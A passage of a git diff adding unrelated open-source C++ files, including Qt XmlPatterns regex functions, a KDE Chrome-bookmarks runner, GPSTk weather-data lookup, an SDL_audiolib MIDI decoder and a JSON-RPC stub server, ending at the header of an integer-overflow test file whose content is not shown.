http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include + +#include "qboolean_p.h" +#include "qcommonvalues_p.h" +#include "qitemmappingiterator_p.h" +#include "qpatternistlocale_p.h" +#include "qatomicstring_p.h" + +#include "qpatternmatchingfns_p.h" + +QT_BEGIN_NAMESPACE + +using namespace QPatternist; + +MatchesFN::MatchesFN() : PatternPlatform(2) +{ +} + +Item MatchesFN::evaluateSingleton(const DynamicContext::Ptr &context) const +{ + const QRegExp regexp(pattern(context)); + QString input; + + const Item arg(m_operands.first()->evaluateSingleton(context)); + if(arg) + input = arg.stringValue(); + + return Boolean::fromValue(input.contains(regexp)); +} + +ReplaceFN::ReplaceFN() : PatternPlatform(3) +{ +} + +Item ReplaceFN::evaluateSingleton(const DynamicContext::Ptr &context) const +{ + const QRegExp regexp(pattern(context)); + QString input; + + const Item arg(m_operands.first()->evaluateSingleton(context)); + if(arg) + input = arg.stringValue(); + + const QString replacement(m_replacementString.isNull() ? parseReplacement(regexp.captureCount(), context) + : m_replacementString); + + + return AtomicString::fromValue(input.replace(regexp, replacement)); +} + +QString ReplaceFN::errorAtEnd(const char ch) +{ + return QtXmlPatterns::tr("%1 must be followed by %2 or %3, not at " + "the end of the replacement string.") + .arg(formatKeyword(QLatin1Char(ch))) + .arg(formatKeyword(QLatin1Char('\\'))) + .arg(formatKeyword(QLatin1Char('$'))); +} + +QString ReplaceFN::parseReplacement(const int, + const DynamicContext::Ptr &context) const +{ + // TODO what if there is no groups, can one rewrite to the replacement then? + const QString input(m_operands.at(2)->evaluateSingleton(context).stringValue()); + + QString retval; + retval.reserve(input.size()); + const int len = input.length(); + + for(int i = 0; i < len; ++i) + { + const QChar ch(input.at(i)); + switch(ch.toAscii()) + { + case '$': + { + /* QRegExp uses '\' as opposed to '$' for marking sub groups. */ + retval.append(QLatin1Char('\\')); + + ++i; + if(i == len) + { + context->error(errorAtEnd('$'), ReportContext::FORX0004, this); + return QString(); + } + + const QChar nextCh(input.at(i)); + if(nextCh.isDigit()) + retval.append(nextCh); + else + { + context->error(QtXmlPatterns::tr("In the replacement string, %1 must be " + "followed by at least one digit when not escaped.") + .arg(formatKeyword(QLatin1Char('$'))), + ReportContext::FORX0004, this); + return QString(); + } + + break; + } + case '\\': + { + ++i; + if(i == len) + { + /* error, we've reached the end. */; + context->error(errorAtEnd('\\'), ReportContext::FORX0004, this); + } + + const QChar nextCh(input.at(i)); + if(nextCh == QLatin1Char('\\') || nextCh == QLatin1Char('$')) + { + retval.append(ch); + break; + } + else + { + context->error(QtXmlPatterns::tr("In the replacement string, %1 can only be used to " + "escape itself or %2, not %3") + .arg(formatKeyword(QLatin1Char('\\'))) + .arg(formatKeyword(QLatin1Char('$'))) + .arg(formatKeyword(nextCh)), + ReportContext::FORX0004, this); + return QString(); + } + } + default: + retval.append(ch); + } + } + + return retval; +} + +Expression::Ptr ReplaceFN::compress(const StaticContext::Ptr &context) +{ + const Expression::Ptr me(PatternPlatform::compress(context)); + + if(me != this) + return me; + + if(m_operands.at(2)->is(IDStringValue)) + { + const int capt = captureCount(); + if(capt == -1) + return me; + else + m_replacementString = parseReplacement(captureCount(), context->dynamicContext()); + } + + return me; +} + +TokenizeFN::TokenizeFN() : PatternPlatform(2) +{ +} + +/** + * Used by QAbstractXmlForwardIterator. + */ +static inline bool qIsForwardIteratorEnd(const QString &item) +{ + return item.isNull(); +} + +Item TokenizeFN::mapToItem(const QString &subject, const DynamicContext::Ptr &) const +{ + return AtomicString::fromValue(subject); +} + +Item::Iterator::Ptr TokenizeFN::evaluateSequence(const DynamicContext::Ptr &context) const +{ + const Item arg(m_operands.first()->evaluateSingleton(context)); + if(!arg) + return CommonValues::emptyIterator; + + const QString input(arg.stringValue()); + if(input.isEmpty()) + return CommonValues::emptyIterator; + + const QRegExp regExp(pattern(context)); + const QStringList result(input.split(regExp, QString::KeepEmptyParts)); + + return makeItemMappingIterator(ConstPtr(this), + makeListIterator(result), + DynamicContext::Ptr()); +} + +QT_END_NAMESPACE diff --git a/pool/shard011/C++/0118425_memdatasource.cc b/pool/shard011/C++/0118425_memdatasource.cc new file mode 100644 index 0000000000000000000000000000000000000000..d6c111f3633787de6e205a132b6ffbbee60f7a5a --- /dev/null +++ b/pool/shard011/C++/0118425_memdatasource.cc @@ -0,0 +1,63 @@ +/* Maverick Model 3D + * + * Copyright (c) 2004-2008 Kevin Worcester + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + * + * See the COPYING file for full license text. + */ + + +#include "memdatasource.h" + +#include + +MemDataSource::MemDataSource( const uint8_t * buf, size_t bufSize ) + : m_buf( buf ), + m_bufSize( bufSize ) +{ + if ( m_buf == NULL ) + { + setErrno( EBADF ); + return; + } + + setFileSize( bufSize ); +} + +MemDataSource::~MemDataSource() +{ +} + +bool MemDataSource::internalReadAt( off_t offset, const uint8_t ** buf, size_t * bufLen ) +{ + // TODO should assert on buf and bufLen + + // If we had an error, just keep returning an error + if ( errorOccurred() ) + return false; + + if ( (size_t) offset > m_bufSize ) + { + setUnexpectedEof( true ); + return false; + } + + *buf = &m_buf[offset]; + *bufLen = m_bufSize - offset; + return true; +} + diff --git a/pool/shard011/C++/0118426_chrome.cpp b/pool/shard011/C++/0118426_chrome.cpp new file mode 100644 index 0000000000000000000000000000000000000000..9d5e6e944cea83e88b3c3d306f38652a1b474d1c --- /dev/null +++ b/pool/shard011/C++/0118426_chrome.cpp @@ -0,0 +1,134 @@ +/* + * Copyright 2007 Glenn Ergeerts + * Copyright 2012 Glenn Ergeerts + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU Library General Public License as + * published by the Free Software Foundation; either version 2, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details + * + * You should have received a copy of the GNU Library General Public + * License along with this program; if not, write to the + * Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + + +#include "chrome.h" +#include "faviconfromblob.h" +#include "browsers/findprofile.h" + +#include +#include +#include +#include +#include "bookmarksrunner_defs.h" +#include +#include + +class ProfileBookmarks { +public: + ProfileBookmarks(Profile &profile) : m_profile(profile) {} + inline QList bookmarks() { return m_bookmarks; } + inline Profile profile() { return m_profile; } + void tearDown() { m_profile.favicon()->teardown(); m_bookmarks.clear(); } + void add(QVariantMap &bookmarkEntry) { m_bookmarks << bookmarkEntry; } + void clear() { m_bookmarks.clear(); } +private: + Profile m_profile; + QList m_bookmarks; +}; + +Chrome::Chrome( FindProfile* findProfile, QObject* parent ) + : QObject(parent), + m_watcher(new KDirWatch(this)), + m_dirty(false) +{ + foreach(Profile profile, findProfile->find()) { + m_profileBookmarks << new ProfileBookmarks(profile); + m_watcher->addFile(profile.path()); + } + connect(m_watcher, &KDirWatch::created, [=] { m_dirty = true; }); +} + +Chrome::~Chrome() +{ + foreach(ProfileBookmarks *profileBookmark, m_profileBookmarks) { + delete profileBookmark; + } +} + +QList Chrome::match(const QString &term, bool addEveryThing) +{ + if (m_dirty) { + prepare(); + } + QList results; + foreach(ProfileBookmarks *profileBookmarks, m_profileBookmarks) { + results << match(term, addEveryThing, profileBookmarks); + } + return results; +} + +QList Chrome::match(const QString &term, bool addEveryThing, ProfileBookmarks *profileBookmarks) +{ + QList results; + foreach(QVariantMap bookmark, profileBookmarks->bookmarks()) { + QString url = bookmark.value(QStringLiteral("url")).toString(); + + BookmarkMatch bookmarkMatch(profileBookmarks->profile().favicon(), term, bookmark.value(QStringLiteral("name")).toString(), url); + bookmarkMatch.addTo(results, addEveryThing); + } + return results; +} + +void Chrome::prepare() +{ + m_dirty = false; + foreach(ProfileBookmarks *profileBookmarks, m_profileBookmarks) { + Profile profile = profileBookmarks->profile(); + profileBookmarks->clear(); + QFile bookmarksFile(profile.path()); + if (!bookmarksFile.open(QIODevice::ReadOnly | QIODevice::Text)) { + continue; + }; + QJsonDocument jdoc = QJsonDocument::fromJson(bookmarksFile.readAll()); + if (jdoc.isNull()) { + continue; + } + QVariantMap resultMap = jdoc.object().toVariantMap(); + if (!resultMap.contains(QStringLiteral("roots"))) { + return; + } + QVariantMap entries = resultMap.value(QStringLiteral("roots")).toMap(); + foreach(QVariant folder, entries.values()) { + parseFolder(folder.toMap(), profileBookmarks); + } + profile.favicon()->prepare(); + } +} + +void Chrome::teardown() +{ + foreach(ProfileBookmarks *profileBookmarks, m_profileBookmarks) { + profileBookmarks->tearDown(); + } +} + +void Chrome::parseFolder(const QVariantMap &entry, ProfileBookmarks *profile) +{ + QVariantList children = entry.value(QStringLiteral("children")).toList(); + foreach(QVariant child, children) { + QVariantMap entry = child.toMap(); + if(entry.value(QStringLiteral("type")).toString() == QLatin1String("folder")) + parseFolder(entry, profile); + else { + profile->add(entry); + } + } +} diff --git a/pool/shard011/C++/0118428_9322.cc b/pool/shard011/C++/0118428_9322.cc new file mode 100644 index 0000000000000000000000000000000000000000..6ff0027a17a3612cb1867ebd4dedfd32c0d194fe --- /dev/null +++ b/pool/shard011/C++/0118428_9322.cc @@ -0,0 +1,54 @@ +// { dg-require-namedlocale "en_US.ISO8859-1" } +// { dg-require-namedlocale "de_DE.ISO8859-15" } + +// 2001-05-21 Benjamin Kosnik + +// Copyright (C) 2001-2021 Free Software Foundation, Inc. +// +// This file is part of the GNU ISO C++ Library. This library is free +// software; you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the +// Free Software Foundation; either version 3, or (at your option) +// any later version. + +// This library is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License along +// with this library; see the file COPYING3. If not see +// . + +// 27.8.1.4 Overridden virtual functions + +#include +#include +#include + +// libstdc++/9322 +void test07() +{ + using std::locale; + + locale loc; + std::filebuf ob; + VERIFY( ob.getloc() == loc ); + + locale::global(locale(ISO_8859(1,en_US))); + VERIFY( ob.getloc() == loc ); + + locale loc_de = locale(ISO_8859(15,de_DE)); + locale ret = ob.pubimbue(loc_de); + VERIFY( ob.getloc() == loc_de ); + VERIFY( ret == loc ); + + locale::global(loc); + VERIFY( ob.getloc() == loc_de ); +} + +int main() +{ + test07(); + return 0; +} diff --git a/pool/shard011/C++/0118429_Fractal_Iterator.cpp b/pool/shard011/C++/0118429_Fractal_Iterator.cpp new file mode 100644 index 0000000000000000000000000000000000000000..baa3546d26b6cf0e5c9ac7d6622a74b2d0cdc89e --- /dev/null +++ b/pool/shard011/C++/0118429_Fractal_Iterator.cpp @@ -0,0 +1,75 @@ +#include "Fractal_Iterator.h" +#include "config.h" +#include "constants.h" + +Fractal_Iterator::Fractal_Iterator() +{ + m_levels.push_back(Fractal_Element(&m_statics)); + m_currentLevel = 0; +}; + +Fractal_Iterator::~Fractal_Iterator() { + +} + +void Fractal_Iterator::Draw(sf::RenderTarget& target, bool drawPrevious) { + m_levels[m_currentLevel].Draw(target, Line::dt_simple); + if(drawPrevious && m_currentLevel > 0) { + m_levels[m_currentLevel-1].Draw(target, Line::dt_overlay); + } +} + +void Fractal_Iterator::SetBase(Fractal_Template newBase) { + m_levels.clear(); + m_statics.clear(); + m_base = newBase; + + Fractal_Element element(&m_statics); + + Line newBaseline = m_base.GetBase(); + newBaseline.SetColor(sf::Color::Black); + newBaseline.SetType(Line::line_type::lt_topRight); + + element.AddLine(newBaseline); + element.SetBase(newBaseline.GetStart(), newBaseline.GetFinish()); + + m_levels.push_back(element); + SetLevel(0); +} + +void Fractal_Iterator::SetLevel(size_t level) { + if(level > ITERATOR_LEVELS) { + m_currentLevel = ITERATOR_LEVELS + 1; + IterateToInfinity(); + } else { + m_currentLevel = level; + IterateTo(level); + } +} + +void Fractal_Iterator::IterateTo(size_t level) { + if(level < m_levels.size()) + return; + for(size_t iii = m_levels.size(); iii <= level; iii++) { + Fractal_Element nextFE = m_levels[iii - 1].ReplaceAll(m_base); + m_levels.push_back(nextFE); + } +} + +void Fractal_Iterator::IterateToInfinity() { + // If we already iterated to infinity once before + if (m_levels.size() > ITERATOR_LEVELS + 1) + return; + + IterateTo(ITERATOR_LEVELS); + Fractal_Element nextFe = m_levels[ITERATOR_LEVELS]; + if (nextFe.GetMaxLength() < nextFe.BaseLength()) { + while (nextFe.GetMaxLength() > config::infinity_stop_size) { + nextFe = nextFe.ReplaceAll(m_base); + } + } + else { + nextFe = nextFe.ReplaceAll(m_base); + } + m_levels.push_back(nextFe); +} diff --git a/pool/shard011/C++/0118430_WxObsMap.cpp b/pool/shard011/C++/0118430_WxObsMap.cpp new file mode 100644 index 0000000000000000000000000000000000000000..ac0ce481c2d28d35df2da088a3b67db48a8178a2 --- /dev/null +++ b/pool/shard011/C++/0118430_WxObsMap.cpp @@ -0,0 +1,244 @@ +#pragma ident "$Id$" + +//============================================================================ +// +// This file is part of GPSTk, the GPS Toolkit. +// +// The GPSTk is free software; you can redistribute it and/or modify +// it under the terms of the GNU Lesser General Public License as published +// by the Free Software Foundation; either version 2.1 of the License, or +// any later version. +// +// The GPSTk is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU Lesser General Public License for more details. +// +// You should have received a copy of the GNU Lesser General Public +// License along with GPSTk; if not, write to the Free Software Foundation, +// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA +// +// Copyright 2004, The University of Texas at Austin +// +//============================================================================ + +//============================================================================ +// +//This software developed by Applied Research Laboratories at the University of +//Texas at Austin, under contract to an agency or agencies within the U.S. +//Department of Defense. The U.S. Government retains all rights to use, +//duplicate, distribute, disclose, or release this software. +// +//Pursuant to DoD Directive 523024 +// +// DISTRIBUTION STATEMENT A: This software has been approved for public +// release, distribution is unlimited. +// +//============================================================================= + +/** + * @file WxObsMap.cpp + * A class encapsulating wx data. + */ + +#include "WxObsMap.hpp" +#include "TimeString.hpp" + +using namespace std; +using namespace gpstk; + +namespace gpstk +{ + + WxObservation WxObsData::getMostRecent( const CommonTime& t ) const + throw() + { + if(obs.size() == 0) + return WxObservation(); + + WxObsMap::const_iterator i = obs.upper_bound(t); + if (i== obs.end()) + i--; + if (i != obs.begin()) + i--; + return i->second; + }; + + void WxObsData::insertObservation( const WxObservation& wx ) + throw() + { + obs[wx.t] = wx; + if (wx.t > lastTime) lastTime=wx.t; + if (wx.t < firstTime) firstTime=wx.t; + } + + bool WxObservation::isAllValid() const + throw() + { + return temperatureSource != noWx + && pressureSource != noWx + && humiditySource != noWx; + }; + + void WxObsData::flush(const CommonTime& t) throw() + { + // remove data from the WxObsMap + // map is sorted by time, stop removing data at + // first point after t + WxObsMap::iterator i = obs.begin(); + while (i != obs.end()) + { + if (i->first < t) + { + obs.erase(i); + i = obs.begin(); + firstTime = i->second.t; + } + else + break; + } + } + + WxObservation WxObsData::getWxObservation(const CommonTime& t, + unsigned iv, + bool interpolate) const + throw(ObjectNotFound) + { + if (obs.empty()) + { + ObjectNotFound e("No WxObservation available near time " + + printTime(t,"%02H:%02M:%02S on day %03j of %4Y")); + GPSTK_THROW(e); + } + + // get the first object after time t; + WxObsMap::const_iterator after = obs.upper_bound(t); + + if (after == obs.begin()) + { + const WxObservation& wxa = after->second; + if ((wxa.t >= (t - iv)) && (wxa.t <= (t + iv))) + { + // only after point fits + return wxa; + } + else + { + ObjectNotFound e("No WxObservation available near time " + + printTime(t,"%02H:%02M:%02S on day %03j of %4Y")); + GPSTK_THROW(e); + } + } + + + // get the first object at or before time t; + WxObsMap::const_iterator before = after; + before--; + + if (after == obs.end()) + { + const WxObservation& wxb = before->second; + if((wxb.t >= (t - iv)) && (wxb.t <= (t + iv))) + { + // only before point fits + return wxb; + } + else + { + ObjectNotFound e("No WeatherData available near time " + + printTime(t,"%02H:%02M:%02S on day %03j of %4Y")); + GPSTK_THROW(e); + } + } + else + { + const WxObservation& wxa = after->second; + const WxObservation& wxb = before->second; + + if (interpolate) + { + if((wxb.t >= (t - iv)) && (wxb.t <= (t + iv))) + { + if ((wxa.t >= (t - iv)) && (wxa.t <= (t + iv))) + { + // both points fit, linearly interpolate and create + // a WeatherData object with those values + double dtw = wxa.t - wxb.t; + double dt = t - wxb.t; + + double slope = (wxa.pressure - wxb.pressure) / dtw; + double pressure = slope * dt + wxb.pressure; + + slope = (wxa.humidity - wxb.humidity) / dtw; + double humidity = slope * dt + wxb.humidity; + + slope = (wxa.temperature - wxb.temperature) / dtw; + double temp = slope * dt + wxb.temperature; + + WxObservation wx(t, temp, pressure, humidity); + return wx; + } + else + { + // only before point fits + return wxb; + } + } + else if ((wxa.t >= (t - iv)) && (wxa.t <= (t + iv))) + { + // only after point fits + return wxa; + } + else + { + ObjectNotFound e("No WeatherData available near time " + + printTime(t,"%02H:%02M:%02S on day %03j of %4Y")); + GPSTK_THROW(e); + } + } + else + { + if((wxb.t >= (t - iv)) && (wxb.t <= (t + iv))) + { + if ((wxa.t >= (t - iv)) && (wxa.t <= (t + iv))) + { + // both points fit, return closer point, or + // before point if at same distance + double diffa = wxa.t - t; + double diffb = t - wxb.t; + return(diffa < diffb ? wxa : wxb); + } + else + { + // only before point fits + return wxb; + } + } + else if ((wxa.t >= (t - iv)) && (wxa.t <= (t + iv))) + { + // only after point fits + return wxa; + } + else + { + ObjectNotFound e("No WeatherData available near time " + + printTime(t,"%02H:%02M:%02S on day %03j of %4Y")); + GPSTK_THROW(e); + } + } + } + } + + // These are just to facilitate debugging. + std::ostream& operator<<(std::ostream& s, const gpstk::WxObservation& obs) + throw() + { + // Note that this does not flag where the wx data came from + s << obs.t << ", t=" << obs.temperature + << ", p=" << obs.pressure + << ", rh=" << obs.humidity; + return s; + } + + +} // namespace diff --git a/pool/shard011/C++/0118431_bf_observe_linear_uncorrelated.cpp b/pool/shard011/C++/0118431_bf_observe_linear_uncorrelated.cpp new file mode 100644 index 0000000000000000000000000000000000000000..48d52e789fe538c6947f46b850cf60b36a4e83e4 --- /dev/null +++ b/pool/shard011/C++/0118431_bf_observe_linear_uncorrelated.cpp @@ -0,0 +1,92 @@ +/* + * Bayes++ the Bayesian Filtering Library + * Copyright (c) 2004 Michael Stevens + * See accompanying Bayes++.html for terms and conditions of use. + */ + +/* + * MATLAB MEX interface for Bayes++ + * bf_observe_linear_uncorrelated: Observe z with noise Zv through linear H + */ + +#include +#include "matlabBfilter.h" + +using namespace::Matlab_convert; + + +void mexFunction( + int nlhs, + mxArray *plhs[], + int nrhs, + const mxArray *prhs[] + ) +{ + /* Check for proper usage */ + bool usageOk = true; + if (nrhs != 4) + usageOk = false; + if (nlhs > 1) + usageOk = false; + + if (!usageOk) + mexErrMsgTxt("usage: [ = ] observe_linear_uncorrelated(, , , )"); + + // Check handle and get filter pointer + Run_Filter* filter = Run_Filter::from_handle(prhs[0]); + + // Need filter state size + Bayesian_filter::State_filter* f = dynamic_cast(filter); + Run_Filter::check_def(f); + + // Must catch exceptions for Matlab kernel + try + { + // Arguments + FM::Matrix Hx = Matrix(prhs[1]); + FM::Vec z = Vector(prhs[2]); + FM::Vec Zv = Vector(prhs[3]); + // Check matrix conformance + if (f->x.size() != Hx.size2()) + mexErrMsgTxt("Mismatch in x and H matrix"); + if (z.size() != Hx.size1()) + mexErrMsgTxt("Mismatch in z and H matrix"); + if (Zv.size() != z.size()) + mexErrMsgTxt("Mismatch in z and Zv size"); + + // Observe model + Bayesian_filter::General_LiUnAd_observe_model model(Hx.size2(), z.size()); + model.Hx = Hx; + model.Zv = Zv; + + bool bFilterOp = false; // Flag operation complete + double rcond; + // Must be a Sample, Linrz filter + if (Bayesian_filter::Sample_filter* f = dynamic_cast(filter)) { + bFilterOp = true; + f->observe (model, z); + rcond = f->update_resample (); + } + else + if (Bayesian_filter::Linrz_filter* f = dynamic_cast(filter)) { + bFilterOp = true; + rcond = f->observe (model, z); + } + + if (bFilterOp) { + if (nlhs == 1) // Optional return value + plhs[0] = Array(rcond); + } + else { + Run_Filter::check_def(0); + } + } + catch (std::exception& se) + { + mexErrMsgTxt( se.what() ); + } + catch (...) + { + mexErrMsgTxt( "Filter operation caused an unknown exception" ); + } +} diff --git a/pool/shard011/C++/0118432_DecoderBassmidi.cpp b/pool/shard011/C++/0118432_DecoderBassmidi.cpp new file mode 100644 index 0000000000000000000000000000000000000000..4094e74b649ba09923072c3f1429122b9c311867 --- /dev/null +++ b/pool/shard011/C++/0118432_DecoderBassmidi.cpp @@ -0,0 +1,252 @@ +// This is copyrighted software. More information is at the end of this file. +#include "Aulib/DecoderBassmidi.h" + +#include "Buffer.h" +#include "aulib.h" +#include "aulib_debug.h" +#include "missing.h" +#include +#include +#include +#include + +namespace chrono = std::chrono; + +static bool bassIsInitialized = false; + +class HstreamWrapper final +{ +public: + HstreamWrapper() noexcept = default; + + explicit HstreamWrapper(BOOL mem, const void* file, QWORD offset, QWORD len, DWORD flags, + DWORD freq) + { + reset(mem, file, offset, len, flags, freq); + } + + HstreamWrapper(const HstreamWrapper&) = delete; + HstreamWrapper(HstreamWrapper&&) = delete; + auto operator=(const HstreamWrapper&) -> HstreamWrapper& = delete; + auto operator=(HstreamWrapper&&) -> HstreamWrapper& = delete; + + ~HstreamWrapper() + { + freeStream(); + } + + explicit operator bool() const noexcept + { + return hstream != 0; + } + + auto get() const noexcept -> HSTREAM + { + return hstream; + } + + void reset(BOOL mem, const void* file, QWORD offset, QWORD len, DWORD flags, DWORD freq) + { + freeStream(); + hstream = BASS_MIDI_StreamCreateFile(mem, file, offset, len, flags, freq); + if (hstream == 0) { + AM_debugPrintLn("DecoderBassmidi: got BASS error " << BASS_ErrorGetCode() + << " while creating HSTREAM."); + } + } + + void swap(HstreamWrapper& other) noexcept + { + std::swap(hstream, other.hstream); + } + +private: + HSTREAM hstream = 0; + + void freeStream() noexcept + { + if (hstream == 0) { + return; + } + if (BASS_StreamFree(hstream) == 0) { + AM_debugPrintLn("DecoderBassmidi: got BASS error " << BASS_ErrorGetCode() + << " while freeing HSTREAM."); + } + } +}; + +namespace Aulib { + +struct DecoderBassmidi_priv final +{ + DecoderBassmidi_priv(); + + HstreamWrapper hstream; + Buffer midiData{0}; + bool eof = false; +}; + +} // namespace Aulib + +Aulib::DecoderBassmidi_priv::DecoderBassmidi_priv() +{ + if (bassIsInitialized) { + return; + } + if (BASS_Init(0, Aulib::sampleRate(), 0, nullptr, nullptr) != 0) { + bassIsInitialized = true; + return; + } + AM_debugPrintLn("DecoderBassmidi: got BASS error " << BASS_ErrorGetCode() + << " while initializing."); +} + +Aulib::DecoderBassmidi::DecoderBassmidi() + : d(std::make_unique()) +{} + +Aulib::DecoderBassmidi::~DecoderBassmidi() = default; + +auto Aulib::DecoderBassmidi::setDefaultSoundfont(const std::string& filename) -> bool +{ + if (BASS_SetConfigPtr(BASS_CONFIG_MIDI_DEFFONT, filename.c_str()) != 0) { + return true; + } + AM_debugPrintLn("DecoderBassmidi: got BASS error " << BASS_ErrorGetCode() + << " while setting default soundfont."); + return false; +} + +auto Aulib::DecoderBassmidi::open(SDL_RWops* rwops) -> bool +{ + if (isOpen()) { + return true; + } + + // FIXME: error reporting + Sint64 midiDataLen = SDL_RWsize(rwops); + if (midiDataLen <= 0) { + return false; + } + Buffer newMidiData(midiDataLen); + DWORD bassFlags = + BASS_SAMPLE_FLOAT | BASS_STREAM_DECODE | BASS_MIDI_DECAYEND | BASS_MIDI_SINCINTER; + + if (SDL_RWread(rwops, newMidiData.get(), newMidiData.size(), 1) != 1) { + return false; + } + d->hstream.reset(TRUE, newMidiData.get(), 0, newMidiData.size(), bassFlags, 1); + if (not d->hstream) { + return false; + } + d->midiData.swap(newMidiData); + setIsOpen(true); + return true; +} + +auto Aulib::DecoderBassmidi::getChannels() const -> int +{ + return 2; +} + +auto Aulib::DecoderBassmidi::getRate() const -> int +{ + if (not isOpen()) { + return 0; + } + + BASS_CHANNELINFO inf; + if (BASS_ChannelGetInfo(d->hstream.get(), &inf) != 0) { + return inf.freq; + } + AM_debugPrintLn("DecoderBassmidi: got BASS error " << BASS_ErrorGetCode() + << " while getting BASS_CHANNELINFO"); + return 0; +} + +auto Aulib::DecoderBassmidi::doDecoding(float buf[], int len, bool& /*callAgain*/) -> int +{ + if (d->eof or not isOpen()) { + return 0; + } + + DWORD byteLen = len * static_cast(sizeof(*buf)); + DWORD ret = BASS_ChannelGetData(d->hstream.get(), buf, byteLen | BASS_DATA_FLOAT); + if (ret == static_cast(-1)) { + SDL_SetError("DecoderBassmidi: got BASS error %d during decoding.\n", BASS_ErrorGetCode()); + return 0; + } + if (ret < byteLen) { + d->eof = true; + } + return ret / static_cast(sizeof(*buf)); +} + +auto Aulib::DecoderBassmidi::rewind() -> bool +{ + return seekToTime(chrono::microseconds::zero()); +} + +auto Aulib::DecoderBassmidi::duration() const -> chrono::microseconds +{ + if (not isOpen()) { + return {}; + } + + QWORD pos = BASS_ChannelGetLength(d->hstream.get(), BASS_POS_BYTE); + if (pos == static_cast(-1)) { + AM_debugPrintLn("DecoderBassmidi: got BASS error " << BASS_ErrorGetCode() + << " while getting channel length."); + return {}; + } + double sec = BASS_ChannelBytes2Seconds(d->hstream.get(), pos); + if (sec < 0) { + AM_debugPrintLn("DecoderBassmidi: got BASS error " + << BASS_ErrorGetCode() + << " while translating duration from bytes to seconds."); + return {}; + } + return chrono::duration_cast(chrono::duration(sec)); +} + +auto Aulib::DecoderBassmidi::seekToTime(chrono::microseconds pos) -> bool +{ + if (not isOpen()) { + return false; + } + + QWORD bytePos = + BASS_ChannelSeconds2Bytes(d->hstream.get(), chrono::duration(pos).count()); + if (bytePos == static_cast(-1)) { + SDL_SetError("DecoderBassmidi: got BASS error %d while translating seek time to bytes.", + BASS_ErrorGetCode()); + return false; + } + if (BASS_ChannelSetPosition(d->hstream.get(), bytePos, BASS_POS_BYTE) == 0) { + SDL_SetError("DecoderBassmidi: got BASS error %d during rewinding.\n", BASS_ErrorGetCode()); + return false; + } + d->eof = false; + return true; +} + +/* + +Copyright (C) 2014, 2015, 2016, 2017, 2018, 2019 Nikos Chantziaras. + +This file is part of SDL_audiolib. + +SDL_audiolib is free software: you can redistribute it and/or modify it under +the terms of the GNU Lesser General Public License as published by the Free +Software Foundation, either version 3 of the License, or (at your option) any +later version. + +SDL_audiolib is distributed in the hope that it will be useful, but WITHOUT +ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more +details. + +You should have received a copy of the GNU Lesser General Public License +along with SDL_audiolib. If not, see . + +*/ diff --git a/pool/shard011/C++/0118433_stubserver.cpp b/pool/shard011/C++/0118433_stubserver.cpp new file mode 100644 index 0000000000000000000000000000000000000000..fde057dcb90f82f11088076d2f5d5bd65dd64342 --- /dev/null +++ b/pool/shard011/C++/0118433_stubserver.cpp @@ -0,0 +1,69 @@ +/************************************************************************* + * libjson-rpc-cpp + ************************************************************************* + * @file stubserver.cpp + * @date 02.05.2013 + * @author Peter Spiess-Knafl + * @license See attached LICENSE.txt + ************************************************************************/ +#include + +#include "gen/abstractstubserver.h" +#include +#include + +using namespace jsonrpc; +using namespace std; + +class MyStubServer : public AbstractStubServer { +public: + MyStubServer(AbstractServerConnector &connector, serverVersion_t type); + + virtual void notifyServer(); + virtual std::string sayHello(const std::string &name); + virtual int addNumbers(int param1, int param2); + virtual double addNumbers2(double param1, double param2); + virtual bool isEqual(const std::string &str1, const std::string &str2); + virtual Json::Value buildObject(const std::string &name, int age); + virtual std::string methodWithoutParameters(); +}; + +MyStubServer::MyStubServer(AbstractServerConnector &connector, + serverVersion_t type) + : AbstractStubServer(connector, type) {} + +void MyStubServer::notifyServer() { cout << "Server got notified" << endl; } + +string MyStubServer::sayHello(const string &name) { return "Hello " + name; } + +int MyStubServer::addNumbers(int param1, int param2) { return param1 + param2; } + +double MyStubServer::addNumbers2(double param1, double param2) { + return param1 + param2; +} + +bool MyStubServer::isEqual(const string &str1, const string &str2) { + return str1 == str2; +} + +Json::Value MyStubServer::buildObject(const string &name, int age) { + Json::Value result; + result["name"] = name; + result["year"] = age; + return result; +} + +string MyStubServer::methodWithoutParameters() { return "Test"; } + +int main() { + HttpServer httpserver(8383); + MyStubServer s(httpserver, + JSONRPC_SERVER_V1V2); // hybrid server (json-rpc 1.0 & 2.0) + s.StartListening(); + cout << "Hit enter to stop the server" << endl; + getchar(); + + s.StopListening(); + + return 0; +} diff --git a/pool/shard011/C++/0118434_CWE190_Integer_Overflow__char_fscanf_square_74b.cpp b/pool/shard011/C++/0118434_CWE190_Integer_Overflow__char_fscanf_square_74b.cpp new file mode 100644 index 0000000000000000000000000000000000000000..f4ad7d6f943f6e3265a4b56b2cb97edac0fd0c59 --- /dev/null +++ 